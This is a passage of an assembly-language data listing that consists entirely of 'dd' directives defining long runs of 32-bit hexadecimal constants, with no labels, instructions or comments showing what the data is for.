		dd 8C9CBCh, 313770BAh, 213A1AF4h, 0F0123C1Eh, 0A104ECACh
		dd 1B001D3Dh, 526D8BF9h, 0B044CE17h, 548FF4DBh,	7933B4E0h
		dd 0A04510Fh, 1BDC5B04h, 8C093CACh, 48A70B0Dh, 0D2CFC409h
		dd 1F558590h, 818E117Ch, 0BBED35C5h, 2D67FCE8h,	0DC4CD5F2h
		dd 612EDB35h, 91BCE4E8h, 253C058Ch, 908FD789h, 59BBE51Ch
		dd 84D36F10h, 0F025202h, 0BCF15743h, 2518AAD1h,	0A85E672Eh
		dd 914C1208h, 1C6E4F73h, 0BF6F7F0Ah, 3D5F9150h,	0E0A7AD9Fh
		dd 240A8A64h, 48BEBh, 857E688Fh, 6F2DBF41h, 640C864h, 4220C44Ch
		dd 90E21252h, 3330AAF2h, 501F6B1Ch, 0B079A4F1h,	6D021F18h
		dd 0C39F049Bh, 6CDAC5h,	0A4E8F652h, 5FA607D0h, 0EF10B0BAh
		dd 0B826926Bh, 250D2EDCh, 38027061h, 4718ECDCh,	8A18E18Ah
		dd 489800Bh, 13156F2h, 0D08BADE7h, 0BF4BB9F7h, 10F84CD1h
		dd 214F48B6h, 12579110h, 64902045h, 14000DEDh, 4963F10Bh
		dd 3E7F99D4h, 39A6736Ah, 0C7FB0249h, 98558DD3h,	0B8C5CDA0h
		dd 7E0F208Ch, 0B9673013h, 9FA370B7h, 13F5FFE0h,	1B97420Ch
		dd 0B6306978h, 0DE1781C4h, 902F82ACh, 314A58D0h, 1A80B20h
		dd 476FB2ACh, 806023ACh, 0B6223319h, 0B90B3971h, 8B537CA7h
		dd 793C711Ch, 0ED218B5h, 7E8CC59Eh, 8BEDE180h, 46601C12h
		dd 2026A0B1h, 9C1401EEh, 9F231D65h, 4782300Dh, 0D45C0E01h
		dd 8BD4A54h, 7C8056DAh,	0D7F2D747h, 2E0C8517h, 4128F14Bh
		dd 1AD4384h, 4E7A160Ah,	3AD3BDC4h, 98238Ch, 5A1407ABh
		dd 6C00CC8Ah, 0D47481AFh, 0BD93E3BDh, 3563FC8Fh, 680C787Fh
		dd 40836B1Bh, 219F2ED7h, 29F90C3Ch, 10954EB0h, 0E18F3ACh
		dd 829B7E80h, 40FA452Bh, 0F15DE8B0h, 157209A4h,	43BCE037h
		dd 9D6F20ECh, 0E477AC2Dh, 980320E4h, 0F7136090h, 105F23C1h
		dd 97018850h, 0E5C741B0h, 0EDA47811h, 0A7FD30F6h, 0D701DF00h
		dd 5B58F4CCh, 111F033Dh, 8C2BB00Ah, 8863E82Ah, 0F7D35514h
		dd 28049638h, 8B1E84DFh, 5802BBBCh, 1F07B92Ch, 46AF0D34h
		dd 1982DC88h, 0F6C4695h, 1053AF9Ah, 79B5C2E4h, 59B82DF4h
		dd 0A8325454h, 50611481h, 0FA3C749Ah, 63A7C72Fh, 2F2DD078h
		dd 0A93E27E0h, 40EDC459h, 3484C22Bh, 83FC995Fh,	2F5F4270h
		dd 706D0AA3h, 741588A4h, 18F45888h, 3D189AA0h, 85AC2904h
		dd 2D980048h, 0D9DAA830h, 87966380h, 1693D032h,	1C052DF4h
		dd 0D404FB29h, 17E8203Dh, 8D45889Bh, 0A8525B32h, 3BB8196Dh
		dd 6A369005h, 912B8A8h,	2E0E956h, 554077BEh, 22500C85h
		dd 8D24C4Eh, 335724B7h,	3F090A5Eh, 623478CFh, 4C7862ECh
		dd 712DB61Ah, 9CB07570h, 0D90C6040h, 3026E029h,	0CB994ED7h
		dd 9E5062E8h, 0AA084055h, 0CAD900D3h, 86305B05h, 5E6DC3BDh
		dd 5019C169h, 95678C18h, 0CB6694C8h, 0D175CC88h, 0AC920CA9h
		dd 98CCD204h, 0D5E40404h, 0A2C51469h, 304DF238h, 27004295h
		dd 0DB4356C6h, 29C7A1DEh, 0CEC69EBh, 5AB0FCA3h,	5505BD00h
		dd 0AAD8A46Ah, 742D02CFh, 5FD7414Ch, 0B8023458h, 6C315C56h
		dd 809D2985h, 9C9C11h, 0D065DFAh, 56E2C417h, 410CBB88h
		dd 4110869Eh, 4A399AD5h, 397CD0ADh, 77024A7Fh, 0FFCE0A13h
		dd 0E8856322h, 6D1E8Eh,	93EE5AF1h, 3C47362h, 113CD458h
		dd 86048C33h, 0B756D33Ch, 5A4AA0C4h, 0A35804CFh, 0C25971D0h
		dd 90AB2F98h, 69257402h, 48C3B904h, 2FC14A59h, 190234Ch
		dd 3769DE8Bh, 7116D882h, 82E493B5h, 14C111A3h, 9897D50Ah
		dd 0C75DA644h, 0D0E5C521h, 8CDF018h, 50E69900h,	3F488A3h
		dd 0DD3300E4h, 822556D0h, 2101395Ch, 0A4F093D1h, 0DB3ADA66h
		dd 280381E4h, 0D370ADA7h, 0F42D75EBh, 0F8581388h, 8788829Dh
		dd 78BADCE0h, 962413Ch,	52D2A8BFh, 37850BC8h, 0BC1D5B08h
		dd 0CE809D11h, 81878E59h, 672E0A0Bh, 4338484Eh,	0D7480BEh
		dd 5480F35Ah
		dd 12B61DC5h, 0F853C8C3h, 77A684E8h, 4117E105h,	0AC52F7B0h
		dd 0E43E7F51h, 9E01AA23h, 850970Dh, 0C312642Dh,	0B9F0D0C1h
		dd 630073F6h, 409C48CEh, 0C51D041Ah, 0C031D341h, 0DEC337ECh
		dd 5B19A49Ah, 58F0F872h, 0AD8C308Fh, 0C3750791h, 0E0095433h
		dd 92EC38ACh, 0E37C987Ch, 0C00C1990h, 0F7C5668Fh, 7FCC173Dh
		dd 0C450278Dh, 0F4381B59h, 7A170E21h, 30948005h, 1BD1DC20h
		dd 85BFE4Ah, 7022A8F6h,	0FF8838ACh, 84F42B88h, 408AE037h
		dd 8C19BCFDh, 0A8BD004Dh, 0EDC5ADD8h, 3D00D1BBh, 0A44DCCAh
		dd 45778h, 71821CDFh, 0B9D81FB8h, 948C6004h, 4AA4D4Fh
		dd 60524EBCh, 0E95BC15Ch, 0FD026980h, 39D1CE48h, 2C98FE07h
		dd 0C4847180h, 67E3E881h, 0E8CC3C09h, 215B436Fh, 978308A9h
		dd 820875Ch, 0BDC06326h, 82B51BD3h, 3E737082h, 7BAC1621h
		dd 0BC30082Ch, 606289F9h, 0B8887429h, 9CF80421h, 0E2A7FC3Dh
		dd 0A1610031h, 0A28165B1h, 461426B9h, 0CB89Fh, 0BCA06885h
		dd 10A74724h, 7576573h,	0ABA55931h, 0BC9C4C81h,	0B9F147F1h
		dd 0FAA34BF0h, 0A8983E20h, 0A05D2F03h, 0B6A035B2h, 4B0165A6h
		dd 982DAB9Bh, 2881AFB8h, 6429B2AAh, 622CD4A1h, 2277A90Ch
		dd 7D324063h, 2D8B1DA2h, 65AE4059h, 67ACA151h, 4D3FBE01h
		dd 77649888h, 0A00483F2h, 47801FB4h, 6C4201B5h,	0F86A9396h
		dd 2763B264h, 0C6472C79h, 0D6A85871h, 0E198186Eh, 8A83CA7h
		dd 353EB0A0h, 33147956h, 6C385B5Ch, 2898880h, 0B0B54620h
		dd 78006226h, 18A66798h, 0E885C58Bh, 90379D57h,	65173847h
		dd 5040A876h, 322A077h,	518C815Fh, 60D06F98h, 54013E5Ch
		dd 0B6A14655h, 0E19D824Ch, 217C0C95h, 33028778h, 5092A563h
		dd 7BB196Ch, 4C2C9FF0h,	6591217Bh, 0B0AC7D40h, 7C679031h
		dd 0F3CA68Bh, 0B19B6851h, 0B86A219Fh, 7AB31604h, 0A684A4A8h
		dd 0C7450043h, 2ED57B1Fh, 9C88749h, 78025DA5h, 7468AF94h
		dd 2D1AB5D7h, 0D6185E3Bh, 620111A8h, 29CC7D40h,	48B2645Eh
		dd 0F02210B9h, 0E16ED12Dh, 0CC2BD768h, 0FB456918h, 97555890h
		dd 0CF603858h, 0DCC08A7Ah, 0B8445D2Bh, 2429F56Fh, 7110931Bh
		dd 275F5821h, 601110EBh, 0D3148ECEh, 221F7CF7h,	0D1751210h
		dd 4CCC8700h, 2CA2B588h, 603434EBh, 1FAED1CCh, 2F8EC874h
		dd 21667788h, 38B16494h, 21648D0Fh, 7B463B38h, 421C5BA2h
		dd 0C61A4A8h, 0E10367E6h, 816894ADh, 14B137B4h,	84CBF0C1h
		dd 0E2D49905h, 12529304h, 4B8E9A8h, 0B4BD14C3h,	4540AC08h
		dd 0BE8A6FD7h, 8C520DF8h, 18F7EC28h, 2E0C5E04h,	78BD6B77h
		dd 0C88C6F10h, 17CE858Bh, 0B7CAC8Eh, 0E0930537h, 0AB59DB7Ch
		dd 0A036C2ACh, 3F551524h, 0FFD01545h, 16789873h, 40716BCFh
		dd 0BD6CC154h, 3E2A0C55h, 0C3F0B09Dh, 0F80240A0h, 8124CEEAh
		dd 44680441h, 212283C4h, 7C52DC2Ah, 0EF3740D8h,	0AC949CA3h
		dd 0A320DF4Eh, 23019248h, 9164A90Dh, 0A1322118h, 910C2919h
		dd 42594586h, 4531971Ch, 9B0B4826h, 0ECD12EA3h,	979E9C61h
		dd 20080835h, 89614AB1h, 0EB9C4110h, 58840756h,	0BD1030BFh
		dd 109F2517h, 0F0D38A4h, 9F48EE15h, 0A91CC760h,	4BF88458h
		dd 45C7798h, 8C42FC1Ch,	21D4E8BEh, 0DC725B42h, 98467668h
		dd 0EA21F00h, 0C79B149Dh, 3F04A00h, 0A28F1C4h, 0A798C4EBh
		dd 7F748CC1h, 7900F98Ah, 1A6183Fh, 52B2DC4Fh, 0AFB6DB30h
		dd 3BEC3788h, 1335A082h, 0E45CB621h, 0E8A9AC40h, 41F001DFh
		dd 0C5109F33h, 0CD08406h, 0B4B8F409h, 18C4EBCh,	0CB6B78A2h
		dd 3364F0E8h, 12880018h, 0CFB71843h, 0EA8A00FEh, 0F5A32CE6h
		dd 1E14E113h, 0BE009CBh, 62B5C7C3h, 5ED87400h, 0EEE18FBh
		dd 0CD70D7C5h, 0C8521001h, 18206B80h, 4F6935h, 0FE752EA1h
		dd 849249B1h, 0C7232105h, 0D8E82ABCh, 412297A2h, 3EDC7AD6h
		dd 1683F204h, 4E1B5C7Eh, 0F8A2B14Eh, 83303FF2h,	0BFAC0570h
		dd 0ED0B5273h, 6A0E0270h, 7C623263h, 3199403Ch,	0F633E8BBh
		dd 0F08D5A80h, 2E2DC9h,	0CCDCB333h, 0E1D59D4Fh,	0A4E3A9D3h
		dd 47309AA2h, 13540528h, 0C0206CF2h, 0FE3F1FC3h, 10A82B48h
		dd 41140773h, 0B032CCEh, 873094E1h, 409F111Ch, 919DD140h
		dd 3B655Fh, 33E877A5h, 6142BB24h, 16EB5A09h, 48A4EC8Ch
		dd 3F00F725h, 0D8AA943Ah, 6EC2E4B1h, 52674121h,	9FD700C4h
		dd 861ABD12h, 1417010Bh, 98E3DF84h, 76314AA2h, 0D294D0h
		dd 0C3CF30C4h, 438625F1h, 0D1A5FC94h, 184C79A4h, 6A009A2h
		dd 0E8CC963Eh, 7C35A01h, 4D1C4C5Eh, 57A898Fh, 42712F40h
		dd 31014E6Ah, 7D96586Dh, 5E10C2ACh, 0EF3D8F7Ch,	0E5DB03DCh
		dd 80A9D91Dh, 4FB82F27h, 0F014015Bh, 60173D48h,	60A70444h
		dd 0ED605A64h, 0FB7DD958h, 9D012A00h, 0C438EB59h, 80534FBDh
		dd 32E1EFFCh, 0DBB8E097h, 40EC6A43h, 18EF7C84h,	0AAE61C9Fh
		dd 0B66500A1h, 4913C4DBh, 0A8BD6B33h, 0FCD5A1A8h, 0A86A450h
		dd 0B7583884h, 0F432BB3Eh, 0E4710219h, 0E2824609h, 1148170Ch
		dd 0F6BE804Ah, 38BDA12Ah, 0C4D4AC26h, 0AF29003Bh, 9B3F2C0Ah
		dd 0FD07B68Ah, 49CFB910h, 638158A0h, 0F4DA500Ch, 1DA80BFCh
		dd 105A2FA3h, 0AB1B5800h, 0F4533E59h, 0D098BF91h, 7400EFF2h
		dd 0A8063B3h, 120CC3F9h, 0B3DB81C4h, 8150F148h,	7384530Ch
		dd 20C88597h, 8C793470h, 4BD1D091h, 88B1AE18h, 2D60ECD3h
		dd 4D006EEFh, 725E9637h, 5286B6EDh, 9A00A041h, 8EEAEE52h
		dd 0F31704B9h, 0E4E396DCh, 763050B2h, 710700F5h, 0B7726229h
		dd 1427BD05h, 0A4D2ADh,	67F2311h, 0EDFAA9Eh, 0B98B8400h
		dd 17C3E80Ah, 28496397h, 59009B2Dh, 0A2D78DD1h,	6831F0h
		dd 0CCEC73B0h, 0D8713DB3h, 0C8A8AD04h, 20BA97CAh, 27EBC12Ch
		dd 0D2F5C300h, 1A1DA28Fh, 7E030FDh, 53667F30h, 35B0204Fh
		dd 0C3A70942h, 81802E31h, 0CB101F8Ah, 394E1400h, 20EA540Eh
		dd 83D21788h, 6DE020E0h, 0AF0032F2h, 51B4CF8Eh,	798C0BBh
		dd 3862DE75h, 6086F25Ah, 812FB8E0h, 1FA1AF2h, 5243E01Ch
		dd 0C4803216h, 560063Fh, 736112C5h, 0C042EAAh, 10754D2Bh
		dd 89800301h, 0AD5B45E6h, 93002178h, 14FC1F70h,	7CEBD669h
		dd 135E3807h, 8D7406F4h, 487BA3B3h, 4817A78h, 7E0B2890h
		dd 0AD8A0FF1h, 0B38A6050h, 0A5605EA6h, 5773621h, 0AA80345h
		dd 42AD58E4h, 1F141818h, 0C13B2A39h, 0ADB8E441h, 67188622h
		dd 18390977h, 0C114F952h, 9900F2BAh, 925ACC04h,	498CD3h
		dd 4A35D911h, 52B47845h, 0C467F7E2h, 9EE57A91h,	800F985Eh
		dd 6D35C030h, 6598CB2h,	0E82306FDh, 0D0042168h,	7762DA81h
		dd 446C0FC1h, 0C3199Dh,	0AB7B45B7h, 0F012C9Ch, 4110AA4h
		dd 71F0DEADh, 0A1893E85h, 0FD807F39h, 0CCACB616h, 0AD61A5CAh
		dd 7B1AB08h, 7E7F5FCh, 22E9FD66h, 63A945E5h, 0B8024C4Ch
		dd 17681582h, 0E6E0A5ECh, 0E27EA846h, 93F61848h, 5131F086h
		dd 0E788F77Eh, 0A1ACA809h, 5E2900E8h, 0C1F96910h, 4187E20h
		dd 0AA483C31h, 1E81A4Ah, 0E01020B5h, 0E6787180h, 51F045E8h
		dd 0D98B18C1h, 219EBA72h, 5E5906C5h, 0F30371B7h, 0A3FE508Ch
		dd 1D76C30Ah, 0D01948h,	14B84507h, 70C36267h, 0E130E1B3h
		dd 20CAE525h, 1B7D4CB0h, 1359E901h, 171576B4h, 0CB7EC180h
		dd 3349AFBAh, 5EFCB80Eh, 9C281DABh, 0BD02E884h,	0FA524BB3h
		dd 0B6104810h, 810C858h, 80FA10A8h, 0CEDB0100h,	0A1F9B1ECh
		dd 54AC445Eh, 6A229226h
		dd 22778709h, 48CD0174h, 17CC89Ch, 5EB336DCh, 9E036B31h
		dd 5A009F79h, 492C4894h, 6FCD189Dh, 56FEB0FDh, 0F50A0C70h
		dd 0AC5AE822h, 0FCB5EE40h, 0B3E8CFh, 0D1E2969Eh, 2BACA2F7h
		dd 0ADC05354h, 1EF2500h, 81F646A6h, 0BA450C4Eh,	0B216486h
		dd 0E8341C92h, 885E595Bh, 0D6055311h, 82CDADEEh, 84410648h
		dd 4CD44CD4h, 2882A892h, 873A60B0h, 0D0215060h,	0A58B0F9h
		dd 4F397C60h, 2ACC020Ch, 0D0A0E715h, 0B71DE89Fh, 80072090h
		dd 0C68FA6Dh, 7DBECDB0h, 93070A30h, 0C014B272h,	0B4F9CCCEh
		dd 438730A0h, 3ED4F884h, 15185BEEh, 0CED8698Bh,	0A18D4600h
		dd 90377AF3h, 0DFAB3F4Dh, 149E2886h, 1201290Bh,	63B02367h
		dd 3DD839A9h, 1CF52451h, 10B34F04h, 2BC2868h, 0D01B6721h
		dd 160CE383h, 599F0728h, 5E4D15E0h, 5601C0BEh, 2E0430CEh
		dd 6618020h, 0F8BF26D9h, 0EEB61299h, 591C320Bh,	12FCAE18h
		dd 104883D0h, 0D81098D4h, 0F1408446h, 47A01818h, 8420E884h
		dd 18228843h, 300C172Ch, 9AF06C50h, 7BD30048h, 0CDBF6425h
		dd 0F701FE14h, 0F9CEE7EBh, 2C40ED58h, 7CA7C75Fh, 8AF0C40Ah
		dd 80909761h, 0BA18FFCh, 9F346F06h, 5C804A27h, 0F734B6E6h
		dd 3049240h, 0A093D323h, 60D88A62h, 2B8D2013h, 0A8074A8h
		dd 0E1F047Eh, 0C0BD41A3h, 0D8ABE4ACh, 1F77902Eh, 134E802h
		dd 0E0304015h, 3C9848CDh, 38F5300h, 74F38B90h, 44773728h
		dd 0F351076Fh, 31C8BC0Ch, 89D00C49h, 3580EB68h,	27389713h
		dd 86CCF40Fh, 81816C4h,	73C8CABh, 9CFAA702h, 0AA7F0017h
		dd 5D1D3B99h, 0D48A610Eh, 0D6439418h, 62300F2Fh, 30063443h
		dd 0B4A11076h, 0E1351365h, 188A7908h, 48CC136Eh, 1517DC04h
		dd 184B4BCFh, 9342131h,	944004CAh, 56A455Eh, 7F95745Dh
		dd 2B80037Bh, 28089AD2h, 9007E7ECh, 82DE8431h, 0F400625Dh
		dd 270201D2h, 0A0257Fh,	0ED08CC07h, 729BFB0Ch, 0F700E9FCh
		dd 0DE2D3C7h, 39AFE42h,	11751FF5h, 0B8983D0Ch, 6F4C23E6h
		dd 0FE8D00FAh, 0A3B27836h, 76F20092h, 278AE153h, 0AC00F941h
		dd 58246C15h, 38B8A677h, 9F8E558Fh, 606726BDh, 82572088h
		dd 2490A262h, 786D4000h, 43D60795h, 996B0080h, 20E787F4h
		dd 12006CDFh, 35BCFF2Ah, 2E917Eh, 0D02D0CABh, 0E89AAD2Bh
		dd 2678A00h, 0C05FECB9h, 8740133Dh, 54600072h, 0AFC3E227h
		dd 9EB81354h, 0D80726F4h, 5CC53BB1h, 0B39BBD00h, 0BBD90037h
		dd 0A6646148h, 22064268h, 11CD9C84h, 0FA6C2EB0h, 0B0920051h
		dd 694D4BC8h, 0A926F800h, 0E317DA98h, 39CA0060h, 0E0D344FDh
		dd 3A00E9D2h, 0F866947Ch, 1F0F4778h, 0C0275CF6h, 20C805EBh
		dd 72FC6F0Eh, 0D66098C0h, 99B5F22h, 6C4BF4Dh, 0C0FD4380h
		dd 0ED0099D7h, 0B4CDC114h, 0D0A28Bh, 19578D69h,	5052ABB5h
		dd 1128B6EAh, 76081FDh,	24BD1AB0h, 16B31F91h, 27C1804Bh
		dd 3CFF17D6h, 0ECE3002h, 41539Ah, 5E676358h, 222DA818h
		dd 4F3D2A0h, 0E0204ED5h, 720080B1h, 48008A31h, 2E13F02Ah
		dd 0F8D6E7F9h, 0E46C0090h, 7173BD40h, 0E50039B6h, 9A8CA7D0h
		dd 801DD8h, 0C172D5C7h,	994FF6D6h, 0B2980501h, 0A9429588h
		dd 61A58340h, 0D9B000A0h, 935F7535h, 380C8BAFh,	8C0A924Bh
		dd 5D8C0030h, 9DAA4204h, 0F2001AD9h, 0D0C7D509h, 0C9A5216h
		dd 8A3DCF2Eh, 6B037330h, 4A0D7A53h, 0F1100007h,	6EE331E7h
		dd 9E000333h, 886D74C3h, 555CC2h, 1F2DD88Fh, 32E02EB3h
		dd 0D3EB8301h, 10BC3639h, 0EC5FB2F8h, 564F1DD7h, 0BB3D8065h
		dd 14D42EA2h, 6C774C90h, 273AEB03h, 0ECB09CAh, 0DE3734C0h
		dd 0DC822E80h, 4F006E73h, 3DB575D1h, 0C0900DCBh, 0F316B298h
		dd 1F0CB3C2h, 0CE08852h, 229B04C3h, 870CF87Ah, 0A03F2358h
		dd 2CC73000h, 0FCD440A4h, 7FA029Fh, 5011708Ah, 0B6686440h
		dd 7CA80238h, 0AE1DC603h, 0AFA332h, 677E3B58h, 6E847450h
		dd 994B7B00h, 2BC322F7h, 22D12B9h, 645840EAh, 4F6542F6h
		dd 0BB4E907h, 0C0FE1168h, 4766762Fh, 0D882005Ah, 8F32C42Eh
		dd 7500CFFAh, 59896458h, 0B68106h, 0D23A940h, 519BD035h
		dd 0F8140300h, 54608057h, 431B00F9h, 966BD7BEh,	0AB00058Ch
		dd 2BE469C5h, 1834FFC8h, 20C6A540h, 23F7D2Ah, 350680C0h
		dd 0B538A89Bh, 1ECB0FFh, 0DA21073h, 3064FAABh, 33078E40h
		dd 0CB347BAh, 0E56BF6D0h, 23BE0066h, 0DDAE3BFCh, 0CB00C06Dh
		dd 19620CF7h, 1EB58Dh, 289C51E8h, 837CA4AAh, 0F38C0100h
		dd 71CE44FEh, 245E012Dh, 9CD072ECh, 5288C465h, 33C60D00h
		dd 0B502EBCAh, 0A1EA0E24h, 0A3C0D496h, 4F2DCCABh, 0F7283700h
		dd 0A26814BFh, 0E58200F5h, 6CDAB0B5h, 45036311h, 67D936F0h
		dd 43E9BAFAh, 0A08F87BCh, 0B91D4CBCh, 108E0B17h, 2987FDACh
		dd 623C11BBh, 5019D82Ah, 4C025BE8h, 0B636DBA9h,	8F706067h
		dd 80A2001Ah, 3AF89C1Bh, 510019C5h, 0F1EADE61h,	0F0AB30h
		dd 0DC9BD64Bh, 0A4D89E4Fh, 43BEB21Ch, 0DA1D5240h, 3C0B3A1h
		dd 36235941h, 89B81CAAh, 6600D348h, 0D7EF18CDh,	18CBE70Ch
		dd 79FBA771h, 830023F4h, 0B6A28A99h, 0B05842D7h, 53CA009Dh
		dd 45F177A1h, 0B700F3D1h, 83722B02h, 3ACCEF9h, 6BD4E729h
		dd 0B8B0CAD0h, 9A002FF4h, 0B32398DBh, 0E6EFAD46h, 309D00DDh
		dd 3FABC52Eh, 5D04E3D9h, 40C3019Bh, 0A9F068C7h,	1780D8h
		dd 75C8BB5h, 13026A9Eh,	0B41CB60Ch, 14A62949h, 0ADAAF8B2h
		dd 2C6B26h, 3FE108C5h, 0FE3C6A4Fh, 123300A6h, 9520770Eh
		dd 3449874h, 514D5D76h,	2800727Fh, 8778F3C2h, 0E071BC05h
		dd 2596003Dh, 0B60D6079h, 0D9FE14F8h, 64F0BE6Fh, 5AC0778Fh
		dd 0C347B184h, 5B411250h, 9FDF2DB8h, 0D33DA000h, 33D28A11h
		dd 0F4D70CE6h, 0B310E57Fh, 4F696A00h, 0FCFF2DF0h, 1F973EC7h
		dd 0E6E5D680h, 887826EDh, 0D11A4800h, 14BBCFF1h, 0F5E30006h
		dd 89566427h, 2D0163B2h, 0EF45F495h, 0D3C0CB81h, 546800ABh
		dd 1BDC6FB5h, 8A06E909h, 1FC156F0h, 0AC7021h, 4788821Dh
		dd 0CCED499Bh, 0B0035913h, 2D946807h, 26B3CD60h, 0B10F008Ch
		dd 8B6D07DAh, 0EB0023D7h, 0CBB87EC1h, 52108Fh, 0D669BBBAh
		dd 23A451D9h, 0EFA05509h, 0E71C0068h, 3D288AB2h, 82821493h
		dd 25F8E11Dh, 989A6460h, 0B400A37Eh, 6804937Eh,	7C0106h
		dd 5C0B668Ah, 9902056Ah, 9018B7Dh, 0E21E3B52h, 5821BD14h
		dd 19F51540h, 9AF4A3h, 67CED9AAh, 6A9F4ADBh, 7FEC9903h
		dd 80B218EFh, 0A0FB7C13h, 6762D8h, 0D602A56Fh, 52818530h
		dd 1A72A018h, 701B821h,	0F4877F2Ch, 86B034F9h, 1F006200h
		dd 9D07FB77h, 0FADD2953h, 0F1C30F4Dh, 0B18FD031h, 0AFD70EFEh
		dd 911ECA07h, 643E8B15h, 6E008630h, 0F50DDEB1h,	0F3A6FCDh
		dd 0E55C4E85h, 0BC300B93h, 0BF9E7100h, 0ADB85047h, 3C2070F5h
		dd 908B0409h, 673C8046h, 3777290Ah, 0F1104761h,	0F9E01F24h
		dd 7EBD6048h, 382258h, 736BF0F1h, 1B78A39Eh, 897AAA3Fh
		dd 0D53865F8h, 734A4300h, 0E033FC5Dh, 0BCD9002Fh, 9472A20Ah
		dd 6B00F118h, 0F4DFDBB4h, 0B7A3B2h, 66D96C1Ah, 3E38FE45h
		dd 0CF0214B8h, 0BE747C39h, 8B48E093h, 0AD07006Dh, 54E5C308h
		dd 0C1006353h, 1A5AE9D1h, 7A09B2DDh, 8670179Dh,	26DC4071h
		dd 0E3D683A6h, 0CF475F0h, 1D4F5900h, 1C438713h,	2778008Ah
		dd 9BB33810h, 28FED3EDh, 7B455B16h, 0C38FB800h,	39835747h
		dd 0B680D7C8h, 0D4999BA8h
		dd 0D8FD7CF1h, 0C000F3B3h, 6BC166DBh, 4CA774h, 0C9E26242h
		dd 0A3B30C7Dh, 34BB500h, 0C1856656h, 84DE0328h,	205A2CEEh
		dd 0BF9801C5h, 211BCC51h, 9200201Dh, 1FC54A1Ch,	3BD3C480h
		dd 14EB86E8h, 0FECF0488h, 61629500h, 72BEBC6Ah,	8A73C916h
		dd 1FE21000h, 9A769DEh,	64A505BBh, 24E40780h, 4002B3A6h
		dd 53DC98A3h, 18CBE032h, 30137949h, 1C202541h, 0D003F44h
		dd 0F758AE4h, 2F5AC7h, 99236CCFh, 69E3D5A3h, 0F64D5F00h
		dd 0D19D0A1Ch, 0B52803A5h, 0BAE4710h, 0F1865A00h, 0EE13787Bh
		dd 0AC7B73h, 3F6E3EEDh,	0CE5FE6Fh, 0A8462C07h, 38074FFh
		dd 0AEA00Ah, 6CF8F51h, 2426C3ABh, 1ED9BD04h, 6880D188h
		dd 3C8059A8h, 1F807C68h, 0AA4E315h, 0FC484F51h,	0F2A6054Ch
		dd 2090891Eh, 1FCD4Bh, 1C53D8F9h, 0DB145725h, 9236ED00h
		dd 0E92C8C06h, 52680037h, 29ABAC22h, 0F790F099h, 14380700h
		dd 65BEC6A7h, 8C785066h, 0DA260E13h, 6827950Ch,	0FCFAE001h
		dd 390308BDh, 12E72410h, 0F1C898F5h, 0BA6E005Bh, 0E657FE54h
		dd 0D1003EFAh, 0AF61E93Bh, 0D2F818h, 299F4168h,	34144632h
		dd 0C0D674Ch, 608BC84Eh, 0FAA005Fh, 1656E9ECh, 0C5382FB1h
		dd 8CB00532h, 0D0809388h, 0F2667FC3h, 0A8FB0BE5h, 7E005758h
		dd 0C5E2963Bh, 0A4B1F128h, 25E74806h, 0F7587B5Ah, 8600042Ch
		dd 54A980CAh, 0CDF03837h, 17252B07h, 9F10921Ch,	0C848A5h
		dd 53D98F04h, 1DE01AFDh, 8CEEE800h, 669207F8h, 0A6D32838h
		dd 8B0A01A8h, 5E9D9125h, 43FEC894h, 8707E072h, 2A05FB1Dh
		dd 0AF0CD4F0h, 44B7002Dh, 0E58CEB4Eh, 140088F2h, 9305745Fh
		dd 2E256DCBh, 0D8C5A7h,	76352710h, 0E900563Bh, 0D99F5DF5h
		dd 17C932Fh, 67BDDB92h,	0E7623FE5h, 53C08084h, 0DD1EA191h
		dd 4ADE5643h, 0CA828Eh,	8508FA0Ch, 2949CD5h, 365AE1FCh
		dd 20F72860h, 628AF600h, 377597F1h, 0B31103FFh,	0F4FE17F5h
		dd 0F6AA3000h, 5DF11BEDh, 8A4726E0h, 208400E1h,	0BF5EAD2Eh
		dd 5408C400h, 0F24B024Ch, 1F2B269Eh, 7DE600F4h,	55EA5771h
		dd 0AFACB400h, 0C6DD470Fh, 76EC5CCBh, 0EE00433Fh, 4009992Ah
		dd 8D0F5D31h, 403953F2h, 0E993AEE6h, 0F9D300D7h, 0EBA05C12h
		dd 7B0F9E55h, 802AC721h, 986BA840h, 5FD500F3h, 0C9119D64h
		dd 88034E99h, 0BFA9126Fh, 0C417B067h, 48E89889h, 8D046C9Bh
		dd 90D33963h, 0CE087494h, 764EF300h, 3CCBF5A0h,	9BAB391Ch
		dd 3DB8B90Eh, 85C002A0h, 9A00AD08h, 1432F4A8h, 0B41AC26h
		dd 0C8EDA116h, 9CD4B060h, 281E4D00h, 46B0A74Bh,	0FA53F867h
		dd 0B6B30010h, 5413AE40h, 302CF38h, 0A11E93C8h,	0C0D0C224h
		dd 1F92C6h, 7CB626A4h, 42811B8Ch, 0B500CC7Dh, 4E79E1Dh
		dd 76D1B398h, 68D04839h, 0E20A4C00h, 309B587Fh,	0B4CE2900h
		dd 0A36F848Bh, 2BC00032h, 311E5A92h, 9A0012CFh,	0F7CB5F8Dh
		dd 414AEBDh, 0D158863Eh, 0C8D4C05Eh, 550626FEh,	0F0196882h
		dd 8E700778h, 90D61F29h, 9FD7AF8h, 0B6959F00h, 11645854h
		dd 1DEA00F4h, 0D4046DE9h, 5AFC12EBh, 4891C233h,	0E10DD074h
		dd 42543F97h, 0F8A20075h, 8CED154Eh, 0CE90A540h, 0F11C6318h
		dd 907770h, 730F1619h, 0F591D04Bh, 0CCF2441Fh, 8B35AF40h
		dd 0AD6A48h, 0D3ACE6F8h, 10C76084h, 995A3100h, 0DE1E5B39h
		dd 0DC9E00B3h, 0AB1A656Fh, 93002CCCh, 0FB9D6619h, 49EA0349h
		dd 30008828h, 0CDBFB7E4h, 0DE48D784h, 3C9E01D2h, 0F4D180D3h
		dd 0EAB5A260h, 67E42E21h, 0AB4C0EC3h, 683EC0E0h, 4B0E6440h
		dd 0C0C21CC8h, 0C420D601h, 0EBD30028h, 0BF62B04Ah, 10540B84h
		dd 8A0BE7CCh, 40312AFAh, 4B0DE5Ch, 4FB64860h, 6DB0A0E6h
		dd 7B4C4000h, 580516CBh, 173E24E0h, 0D3F501D8h,	0F7EFB78Ch
		dd 6DAA1000h, 93315E38h, 5794000Ah, 1CEB69B9h, 4AEC8C6Bh
		dd 0AC9D7F1Ch, 4C0A6AC0h, 0C7F274h, 0DE5EAFA5h,	0A76D6359h
		dd 0C675351Eh, 674F4A00h, 6C26BDh, 575245CBh, 7040C361h
		dd 7D5E5688h, 0D17C00B6h, 5759504Fh, 918B8CDh, 7ED0DA42h
		dd 52E678C1h, 133E086Bh, 0A3890F06h, 0F67AF977h, 130084Dh
		dd 8617558Dh, 92D04D8Bh, 182A6F57h, 0E4102D0Dh,	90008567h
